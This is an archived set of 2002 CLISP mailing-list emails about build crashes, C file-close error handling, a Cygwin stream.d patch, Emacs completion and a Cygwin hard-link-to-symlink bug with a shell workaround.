X-Spam-Level: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 2 03:24:11 2002 X-Original-Date: Fri, 2 Aug 2002 10:29:41 +0200 >>>>> "Jorg" == Hoehle, Joerg-Cyril writes: Jorg> It makes sense (in theory) to check the close status because this can be done testing the return value of fclose. According to ANSI C Standard (section 7.9.5.1): "The fclose function returns zero if the stream was successfully closed, or EOF if any errors were detected." Ciao, Aurelio From manuel.nunez@tang-it.com Fri Aug 02 03:59:10 2002 Received: from mailout10.sul.t-online.com ([194.25.134.21]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17aa9F-0004Up-00 for ; Fri, 02 Aug 2002 03:59:09 -0700 Received: from fwd09.sul.t-online.de by mailout10.sul.t-online.com with smtp id 17aa9C-0003yV-09; Fri, 02 Aug 2002 12:59:06 +0200 Received: from tang-it.com (510075245505-0001@[217.228.141.172]) by fmrl09.sul.t-online.com with esmtp id 17aa91-02dt9EC; Fri, 2 Aug 2002 12:58:55 +0200 Message-ID: <3D4A65EE.3030000@tang-it.com> From: Manuel Nunez Reply-To: manuel.nunez@tang-it.com Organization: tang-IT Consulting GmbH User-Agent: Mozilla/5.0 (X11; U; Linux i586; en-US; rv:1.1a) Gecko/20020610 X-Accept-Language: de-de, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Sender: 510075245505-0001@t-dialin.net Subject: [clisp-list] SIGSEGV in 2.29; format.lisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 2 04:01:16 2002 X-Original-Date: Fri, 02 Aug 2002 12:58:54 +0200 Hi, I am not able to compile CLISP 2.29 at work & home. This is what I get at work: ;; Datei format.lisp wird geladen... *** - handle_fault error2 ! address = 0xFFFFFF88 not in [0x68049180,0x680AB000) ! SIGSEGV kann nicht behoben werden. Fehler-Adresse = 0xFFFFFF88. make: *** [interpreted.mem] Speicherzugriffsfehler (core dumped) Command exited with non-zero status 2 The same happens at home: SIGSEGV & core dump when loading format.lisp. I tried with optimization disabled, with optimization enabled + -fno-gcse, etc., the result is always the same. Config at work: gcc -v Reading specs from /usr/lib/gcc-lib/i586-pc-linux-gnu/3.1.1/specs Configured with: ../gcc-3.1/configure --prefix=/usr --enable-languages=c,c++,java,f77 Thread model: single gcc version 3.1.1 libc is 2.1.1 uname -a Linux feynmann.xxx 2.4.18-ngpt #7 SMP Don Jul 18 16:19:42 CEST 2002 i586 unknown CPU is AMD K6 Config at home: gcc as above (3.1.1) libc is 2.2.5 kernel 2.4.18 without patches CPU is PIII Tried compiling with -g, but gdb backtrace seems not useful to me (I'm not an expert) - only two frames visible when gdb ./lisp.run core, last frame in context __setfpucw(_FPU_IEEE);. I beg pardon if this info is not useful... Please tell me if any other info neccessary. Regards & tanks in advance, --manuel From Joerg-Cyril.Hoehle@t-systems.com Fri Aug 02 04:11:37 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17aaLH-0006Tq-00 for ; Fri, 02 Aug 2002 04:11:36 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 2 Aug 2002 13:11:22 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 2 Aug 2002 13:11:21 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Problems with latest CVS version of comment5.c: data flow analysis MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 2 04:12:15 2002 X-Original-Date: Fri, 2 Aug 2002 13:11:17 +0200 Hi again, just doing a dataflow analysis on the code below shows that it cannot be correct. perror() doesn't get as input the file handle for which to print an error, so what can it do? input-output flow into functions analysis is a very revealing technique. As a result from the below use of the perror function, everyone can conclude that it can at best only say something about the last error that happened in the system (and this is actually what the manpage says), using hidden communication channels (typically errno). Therefore, perror(infilename) cannot reliably report the error that occured when closing the input file, since a subsequent error may have occured when closing the output file: that one would be reported instead and falsely attributed to the input file. The code is not correct (w.r.t. to an imaginary specification derived by "Do What I Intended"), aka broken. > 120 /* close files: */ > 121 fclose(infile); > 122 fclose(outfile); > 123 if (ferror(infile)) > 124 { perror(infilenamebuffer); exit(__LINE__); } > 125 if (ferror(outfile)) > 126 { perror(outfilenamebuffer); exit(__LINE__); } > 127 exit(0); /* OK */ Note however that this issue is independent of the implementation issue of whether ferror() produces meaningful results after fclose() is called. I believe it should, in order to be useful, but the answer must come from the specification of the ANSI C I/O - hopefully. Involved problem areas: should calls reset errno before they try to do anything, e.g. at function entry? Should functions like fwrite() do anything in case ferror() on the given FILE* is set or must one clearerr()? etc. Regards, Jorg Hohle. From grechru@yahoo.com Fri Aug 02 05:22:14 2002 Received: from web20006.mail.yahoo.com ([216.136.225.69]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17abRe-00071P-00 for ; Fri, 02 Aug 2002 05:22:14 -0700 Message-ID: <20020802122211.7792.qmail@web20006.mail.yahoo.com> Received: from [62.14.124.67] by web20006.mail.yahoo.com via HTTP; Fri, 02 Aug 2002 14:22:11 CEST From: =?iso-8859-1?q?Grzegorz=20Chrupala?= To: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Subject: [clisp-list] Completion in Emacs and terminal Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 2 05:23:12 2002 X-Original-Date: Fri, 2 Aug 2002 14:22:11 +0200 (CEST) Hi all, Just a quick question: how do I get completion when running clisp in an Emacs *inferior-lisp* buffer? I tried ESC-TAB but I get a "no tags table loaded" message. I do have completion with the tab key in a Linux terminal window, but not in MS Windows. Thanks, Greg _______________________________________________________________ Yahoo! Messenger Nueva versión: Webcam, voz, y mucho más ¡Gratis! Descárgalo ya desde http://messenger.yahoo.es From dyoung@bloodhoundinc.com Fri Aug 02 07:09:19 2002 Received: from [63.126.105.7] (helo=mail.bloodhoundinc.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17ad7H-0001TX-00 for ; Fri, 02 Aug 2002 07:09:19 -0700 Received: from jarjar.bhusa.bhsoftware.com (mail.bhsoftware.com [10.1.0.222]) by mail.bloodhoundinc.com (8.11.6/8.11.6) with ESMTP id g72Dtb102045; Fri, 2 Aug 2002 09:55:37 -0400 Received: by jarjar.bhusa.bhsoftware.com with Internet Mail Service (5.5.2653.19) id ; Fri, 2 Aug 2002 10:02:37 -0400 Message-ID: <23B38FECB4213142A4E017F783B3391D503C3E@jarjar.bhusa.bhsoftware.com> From: "Young, David" To: "'clisp-list@lists.sf.net'" Cc: "'sds@gnu.org'" MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Subject: [clisp-list] [More on]: CLISP on cygwin and io trouble Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 2 07:10:05 2002 X-Original-Date: Fri, 2 Aug 2002 10:02:34 -0400 Ok, here's an update on that "UNIX Error 13" endless loop trouble I reported yesterday. After building the CVS head, the problem remains. However, Matthias Lindner sent me mail this morning with a patch he'd made for this problem; he had the same problem with CLISP 2.28 on cygwin, running rxvt. I applied the patch to stream.d; the first hunk took, the second failed (probably because I applied the thing to the latest CLISP and not 2.28). In any event, I recompiled CLISP and behold! the trouble disappeared. Matthias claims no responsibility for "correctness" here; he just tried something to see if it would address his problem. Here's a snippet from his mail, with permission: "What I did was to hack stream.d to simply skip the error. Included is my patch to stream.d which solved this problem for me and solved another, where readline did not work, as Clisp did not realize, that "/dev/conin" and "/dev/conout" are the same device. As I mentioned I don't think what I did is a "proper" solution - it just kept me going. Maybe it helps you (to find a proper solution?)." Sam, I've included the patch to see if it will spark any ideas. Let me know if I can help further. ---- Cut here ------------------------------------------------------------- --- stream.d~ Sun Mar 3 00:21:30 2002 +++ stream.d Tue Mar 12 18:55:15 2002 @@ -3237,8 +3237,8 @@ #if defined(UNIX_IRIX) || defined(EMUNIX) if (!(errno==ENOSYS)) #endif - #ifdef UNIX_CYGWIN32 # needed for Win95 only - if (!(errno==EBADF)) + #ifdef UNIX_CYGWIN32 # needed for Win95 only / EACCES for xterm/rxvt + if (!((errno==EBADF) || (errno==EACCES))) #endif if (!(errno==EINVAL)) { OS_error(); } @@ -10063,8 +10063,15 @@ struct stat stdin_stat; struct stat stdout_stat; if ((fstat(stdin_handle,&stdin_stat) >= 0) && (fstat(stdout_handle,&stdout_stat) >= 0)) - if ((stdin_stat.st_dev == stdout_stat.st_dev) && (stdin_stat.st_ino == stdout_stat.st_ino)) + if (stdin_stat.st_dev == stdout_stat.st_dev) + if (stdin_stat.st_ino == stdout_stat.st_ino) same_tty = true; + #ifdef UNIX_CYGWIN32 # Cygwin in NT Shell needs this + else + if ((strcmp("/dev/conin", ttyname(stdin_handle)) == 0) && + (strcmp("/dev/conout", ttyname(stdout_handle)) == 0)) + same_tty = true; + #endif #endif #endif #ifdef MSDOS ---- Cut here ----------------------------------------------------------- Cheers, -- ------------------------------------------ David E. Young dyoung@bloodhoundinc.com http://www.bloodhoundinc.com "Those who expect to reap the blessings of liberty must undergo the fatigues of supporting it." -- Thomas Paine "But all the world understands my language." -- Franz Joseph Haydn (1732-1809) From sds@gnu.org Fri Aug 02 08:14:42 2002 Received: from pool-151-203-30-217.bos.east.verizon.net ([151.203.30.217] helo=loiso.podval.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17ae8Y-0008AW-00 for ; Fri, 02 Aug 2002 08:14:42 -0700 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.11.6/8.11.6) with ESMTP id g72FFgi12076; Fri, 2 Aug 2002 11:15:42 -0400 To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net, jsc@dataheaven.de, kevin@rosenberg.net Subject: Re: [clisp-list] idea about how to design CLISP's socket functions (or CLISP's FFI for UFFI): target ACL-COMPAT References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 25 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 2 08:15:04 2002 X-Original-Date: 02 Aug 2002 11:15:42 -0400 > * In message > * On the subject of "[clisp-list] idea about how to design CLISP's socket functions (or CLISP's FFI for UFFI): target ACL-COMPAT" > * Sent on Fri, 2 Aug 2002 09:32:52 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > Maybe it would be useful to design future CLISP socket functionality > so that it can easily support ACL-COMPAT? why can't CLISP support ACL-COMPAT now? > The thought was: why should I care about this, since UFFI already > includes such functionality? So the new goal might become: "How to > supply just enough functionality so that UFFI macros can easily map > onto these low-level primitives?" > > This is easier to achieve than invent yet another high-level foreign > library declaration and management system. just do it then! -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux There are 3 kinds of people: those who can count and those who cannot. From sds@gnu.org Fri Aug 02 08:20:47 2002 Received: from pool-151-203-30-217.bos.east.verizon.net ([151.203.30.217] helo=loiso.podval.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17aeEQ-0000gO-00 for ; Fri, 02 Aug 2002 08:20:47 -0700 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.11.6/8.11.6) with ESMTP id g72FM3i12116; Fri, 2 Aug 2002 11:22:03 -0400 To: manuel.nunez@tang-it.com Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] SIGSEGV in 2.29; format.lisp References: <3D4A65EE.3030000@tang-it.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3D4A65EE.3030000@tang-it.com> Message-ID: Lines: 75 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 2 08:21:06 2002 X-Original-Date: 02 Aug 2002 11:22:03 -0400 could you please try CVS head? > * In message <3D4A65EE.3030000@tang-it.com> > * On the subject of "[clisp-list] SIGSEGV in 2.29; format.lisp" > * Sent on Fri, 02 Aug 2002 12:58:54 +0200 > * Honorable Manuel Nunez writes: > > Hi, > > I am not able to compile CLISP 2.29 at work & home. > This is what I get at work: > > ;; Datei format.lisp wird geladen... > *** - handle_fault error2 ! address = 0xFFFFFF88 not in > [0x68049180,0x680AB000) ! > SIGSEGV kann nicht behoben werden. Fehler-Adresse = 0xFFFFFF88. > make: *** [interpreted.mem] Speicherzugriffsfehler (core dumped) > Command exited with non-zero status 2 > > The same happens at home: SIGSEGV & core dump when loading format.lisp. > I tried with optimization disabled, with optimization enabled + > -fno-gcse, etc., the result is always the same. > > Config at work: > gcc -v > Reading specs from /usr/lib/gcc-lib/i586-pc-linux-gnu/3.1.1/specs > Configured with: ../gcc-3.1/configure --prefix=/usr > --enable-languages=c,c++,java,f77 > Thread model: single > gcc version 3.1.1 > > libc is 2.1.1 > > uname -a > Linux feynmann.xxx 2.4.18-ngpt #7 SMP Don Jul 18 16:19:42 CEST > 2002 i586 unknown > > CPU is AMD K6 > > Config at home: > > gcc as above (3.1.1) > > libc is 2.2.5 > > kernel 2.4.18 without patches > > CPU is PIII > > Tried compiling with -g, but gdb backtrace seems not useful to me > (I'm not an expert) - only two frames visible when gdb ./lisp.run core, > last frame in context __setfpucw(_FPU_IEEE);. I beg pardon if this info > is not useful... > Please tell me if any other info neccessary. > > Regards & tanks in advance, > > --manuel > > > > ------------------------------------------------------- > This sf.net email is sponsored by:ThinkGeek > Welcome to geek heaven. > http://thinkgeek.com/sf > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Small languages require big programs, large languages enable small programs. From sds@gnu.org Fri Aug 02 08:24:42 2002 Received: from pool-151-203-30-217.bos.east.verizon.net ([151.203.30.217] helo=loiso.podval.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17aeID-0001PE-00 for ; Fri, 02 Aug 2002 08:24:42 -0700 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.11.6/8.11.6) with ESMTP id g72FQ0i12130; Fri, 2 Aug 2002 11:26:00 -0400 To: Grzegorz Chrupala Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Completion in Emacs and terminal References: <20020802122211.7792.qmail@web20006.mail.yahoo.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020802122211.7792.qmail@web20006.mail.yahoo.com> Message-ID: Lines: 22 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 2 08:25:04 2002 X-Original-Date: 02 Aug 2002 11:26:00 -0400 > * In message <20020802122211.7792.qmail@web20006.mail.yahoo.com> > * On the subject of "[clisp-list] Completion in Emacs and terminal" > * Sent on Fri, 2 Aug 2002 14:22:11 +0200 (CEST) > * Honorable Grzegorz Chrupala writes: > > Just a quick question: how do I get completion when > running clisp in an Emacs *inferior-lisp* buffer? 1. do not give CLISP "-I" command line switch. 2. (define-key inferior-lisp-mode-map "\C-i" (lambda () (interactive) (process-send-string (get-buffer-process inferior-lisp-buffer) "\C-i"))) > but not in MS Windows. you should get it with cygwin. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux What was the best thing before sliced bread? From vs1100@terra.es Sat Aug 03 08:20:23 2002 Received: from [213.4.129.129] (helo=tsmtp6.mail.isp) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17b0ha-0007sl-00 for ; Sat, 03 Aug 2002 08:20:23 -0700 Received: from karsten.terra.es ([80.103.145.218]) by tsmtp6.mail.isp (Netscape Messaging Server 4.15 tsmtp6 Mar 14 2002 21:29:48) with ESMTP id H09X9V01.IGF for ; Sat, 3 Aug 2002 17:20:19 +0200 Message-Id: <5.1.0.14.0.20020803171337.00a34ec0@pop3.terra.es> X-Sender: vs1100.terra.es@pop3.terra.es X-Mailer: QUALCOMM Windows Eudora Version 5.1 To: clisp-list@lists.sourceforge.net From: Karsten In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Subject: [clisp-list] Next try for cygwin binaries for 2.29 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Aug 3 08:21:02 2002 X-Original-Date: Sat, 03 Aug 2002 17:19:11 +0200 I made a new binary release for cygwin that at least on my system builds correctly. The binary is available on http://perso.wanadoo.es/karsten.poeck/clisp-2.29.1-i686-unknown-cygwin_me-4.90-1.3.12.tar.gz The problem with cygwin is that the make distrib does not work correctly since the tar command does not resolves the links. Un saludo Karsten From rrschulz@cris.com Sat Aug 03 08:29:26 2002 Received: from uhura.concentric.net ([206.173.118.93]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17b0qK-0000J2-00 for ; Sat, 03 Aug 2002 08:29:24 -0700 Received: from cliff.concentric.net (cliff.concentric.net [206.173.118.90]) by uhura.concentric.net [Concentric SMTP Routing 1.0] id g73FTLS05152 ; Sat, 3 Aug 2002 11:29:21 -0400 (EDT) Received: from Clemens.cris.com (da003d0473.sjc-ca.osd.concentric.net [64.1.1.218]) by cliff.concentric.net (8.9.1a) id LAA17999; Sat, 3 Aug 2002 11:29:19 -0400 (EDT) Message-Id: <5.1.0.14.2.20020803082405.02c45c58@pop3.cris.com> X-Sender: rrschulz@pop3.cris.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 To: Karsten , clisp-list@lists.sourceforge.net From: Randall R Schulz Subject: Re: [clisp-list] Next try for cygwin binaries for 2.29 In-Reply-To: <5.1.0.14.0.20020803171337.00a34ec0@pop3.terra.es> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Aug 3 08:30:05 2002 X-Original-Date: Sat, 03 Aug 2002 08:30:43 -0700 Karsten, Would you explain the problem you had with Cygwin's tar? It handles Cygwin symlinks (no other TAR command will, since Cygwin's symlinks are a specially tagged Windows shortcut) and likewise it handles hard links, provided the file system to which the files are being extracted or from which they originated is an NTFS file system volume (since that's the only Windows file system that supports hard links). By the way, I must apologize for not being able to get the Cygwin package out, but attempting to compile it causes my system to hang (repeatably and reliably, when compiling a particular file). I think it's a hardware problem--the system hangs like this from time to time, though never before predictably or repeatably). So far I've neither diagnosed the real problem nor found a work-around. Randall Schulz Mountain View, CA USA At 08:19 2002-08-03, Karsten wrote: >I made a new binary release for cygwin that at least on my system builds >correctly. >The binary is available on >http://perso.wanadoo.es/karsten.poeck/clisp-2.29.1-i686-unknown-cygwin_me-4.90-1.3.12.tar.gz > >The problem with cygwin is that the make distrib does not work correctly >since the tar command does not resolves the links. > >Un saludo > >Karsten From vs1100@terra.es Sun Aug 04 05:00:32 2002 Received: from [213.4.129.129] (helo=tsmtp4.mail.isp) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17bK3k-0004ey-00 for ; Sun, 04 Aug 2002 05:00:32 -0700 Received: from karsten.terra.es ([62.37.160.246]) by tsmtp4.mail.isp (Netscape Messaging Server 4.15 tsmtp4 Mar 14 2002 21:29:48) with ESMTP id H0BGGM00.WK6; Sun, 4 Aug 2002 13:12:22 +0200 Message-Id: <5.1.0.14.0.20020804123328.00a38c20@pop3.terra.es> X-Sender: vs1100.terra.es@pop3.terra.es X-Mailer: QUALCOMM Windows Eudora Version 5.1 To: Randall R Schulz From: Karsten Subject: Re: [clisp-list] Next try for cygwin binaries for 2.29 Cc: clisp-list@lists.sourceforge.net In-Reply-To: <5.1.0.14.2.20020803085343.0205fea8@pop3.cris.com> References: <5.1.0.14.0.20020803174313.00a3ce10@pop3.terra.es> <5.1.0.14.2.20020803082405.02c45c58@pop3.cris.com> <5.1.0.14.0.20020803171337.00a34ec0@pop3.terra.es> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Aug 4 05:01:02 2002 X-Original-Date: Sun, 04 Aug 2002 13:09:29 +0200 regarding the potential cygwin tar problems: Let me first describe the effects: Downloading and installing clisp-2.29-i686-unknown-cygwin_nt-5.0-1.3.12.tar.gz results in the following error: $ make gcc -O base/modules.o base/lisp.a base/libsigsegv.a base/libintl.a base/libicon v.a base/libreadline.a base/libavcall.a base/libcallback.a -lncurses -lm -o base /lisp.run base/libintl.a: file not recognized: File format not recognized collect2: ld returned 1 exit status make: *** [base/lisp.run] Error 1 Inspecting libintl.a shows that it is a very short file containing some binary fields and fianlly some bytes looking like gettext/intl/libint.a gettext\intl\libintl.a Similar things happens with nearly all files in the distribution. Interesting enough is src: all .lisp files are broken, all fasl files are correct. Analysing this a bit further one can see that both fasl and lisp files are copied with the same instruction in the make distrib ln $(LISPFILES) $(FASFILES) $(TOPDIR)/src Ok, so a simple ln is not the problem. By further inspecting the origin of the lispfiles in the current directory one notes an important difference: The *.lisp files are already links ,e.g. lrwxrwxrwx 1 default 544 153 Aug 3 23:53 xcharin.lisp -> ../src/x charin.lisp By further investigation in the makefile one finds that the *.lisp files in the directory are generated via ln -s, i.e. are symbolic links. Conclusion: In Cygwin applying ln -s to a file and afterwards ln to the link results in an unusable file. Since the same chain of instructions works fine in my Linux, I assume this is a problem within cygwin. Now it seems i shoudn't have said that tar is the culprit, the problems seems to be a step earlier. Karsten PS: A while ago somebody asked why bother with cygwin at all if there are so many problems with clisp. One reason is that at least on my box cygwin clisp is twice as fast a the windows clisp. It is even faster than in Linux, probably because I used gcc 304 in cygwin and gcc 2.95 something in Linux. From rrschulz@cris.com Sun Aug 04 07:35:15 2002 Received: from uhura.concentric.net ([206.173.118.93]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17bMTS-0001Qp-00 for ; Sun, 04 Aug 2002 07:35:14 -0700 Received: from marconi.concentric.net (marconi.concentric.net [206.173.118.71]) by uhura.concentric.net [Concentric SMTP Routing 1.0] id g74EZAS01710 ; Sun, 4 Aug 2002 10:35:10 -0400 (EDT) Received: from Clemens.cris.com (da003d0253.sjc-ca.osd.concentric.net [64.1.0.254]) by marconi.concentric.net (8.9.1a) id KAA22910; Sun, 4 Aug 2002 10:35:07 -0400 (EDT) Message-Id: <5.1.0.14.2.20020804071126.01f9b2d0@pop3.cris.com> X-Sender: rrschulz@pop3.cris.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 To: Karsten From: Randall R Schulz Subject: Re: [clisp-list] Next try for cygwin binaries for 2.29 Cc: clisp-list@lists.sourceforge.net In-Reply-To: <5.1.0.14.0.20020804123328.00a38c20@pop3.terra.es> References: <5.1.0.14.2.20020803085343.0205fea8@pop3.cris.com> <5.1.0.14.0.20020803174313.00a3ce10@pop3.terra.es> <5.1.0.14.2.20020803082405.02c45c58@pop3.cris.com> <5.1.0.14.0.20020803171337.00a34ec0@pop3.terra.es> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Aug 4 07:36:02 2002 X-Original-Date: Sun, 04 Aug 2002 07:36:31 -0700 Karsten, Interesting. This is the precise problem that Sam Steingold reported to the Cygwin mail list just a few days ago. The head Cygwin developer, Chris Faylor (at Redhat) has already devised a fix but it's only available in a patch release of the Cygwin "kernel" (cygwin1.dll). The problem, in short, is making a hard link to a symbolic link. That hard link to a symbolic link does not get the ".lnk" suffix it needs and so is not interpreted as a symbolic link, even though that's what its contents really are (since it's just a nother name for the symbolic link). I can suggest a work-around that might make things manageable for you. Wherever appears an "ln" (plain old hard-link "ln" invocations) whose target (first argument) is a symbolic link, the newly created link name should manually / explicitly supply a ".lnk" suffix. Thus: # "symLinkTarget" is a symbolic link to some other file # "hardLinkToTarget" is the hard link to create # that should alias the "symLinkTarget" # No good: % ln symLinkTarget hardLinkToSymlink # Work-around: % ln symnlinkTarget hardLinkToSymlink.lnk Here's an example: % echo "realFile" >realFile % ln -s realFile realFile-sl # No good: % ln realFile-sl realFile-sl-hl1 # Work-around: % ln realFile-sl realFile-sl-hl2.lnk # Test % cat realFile realFile % cat realFile-sl realFile % od -c realFile-sl-hl1 0000000 L \0 \0 \0 001 024 002 \0 \0 \0 \0 \0 300 \0 \0 \0 0000020 \0 \0 \0 F \f \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 0000040 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 0000060 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 001 \0 \0 \0 0000100 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \b \0 r e 0000120 a l F i l e \b \0 r e a l F i l e 0000140 % cat realFile-sl-hl2 realFile You can also simplly rename, via "mv", the existing hardlinks to the symbolic links that have no ".lnk" suffix: % mv realFile-sl-hl1 realFile-sl-hl1.lnk % cat realFile-sl-hl1.lnk realFile I hope that helps. I'll let you and Sam (and the CLISP list) know when a release version of Cygwin is available that fixes this problem. Lastly, so you know and can think about the consequences, the fix that Chris Faylor has devised is simply to resolve the symbolic link when making a hard link to it. Thus a request to make a hard link to the symbolic link will end up making a hard link to the ultimate target of the symbolic link instead. Good luck. Feel free to ask more about this or other Cygwin issues. Randall At 04:09 2002-08-04, Karsten wrote: >regarding the potential cygwin tar problems: > >Let me first describe the effects: >Downloading and installing clisp-2.29-i686-unknown-cygwin_nt-5.0-1.3.12.tar.gz >results in the following error: > >$ make >gcc -O base/modules.o base/lisp.a base/libsigsegv.a base/libintl.a >base/libicon >v.a base/libreadline.a base/libavcall.a base/libcallback.a -lncurses 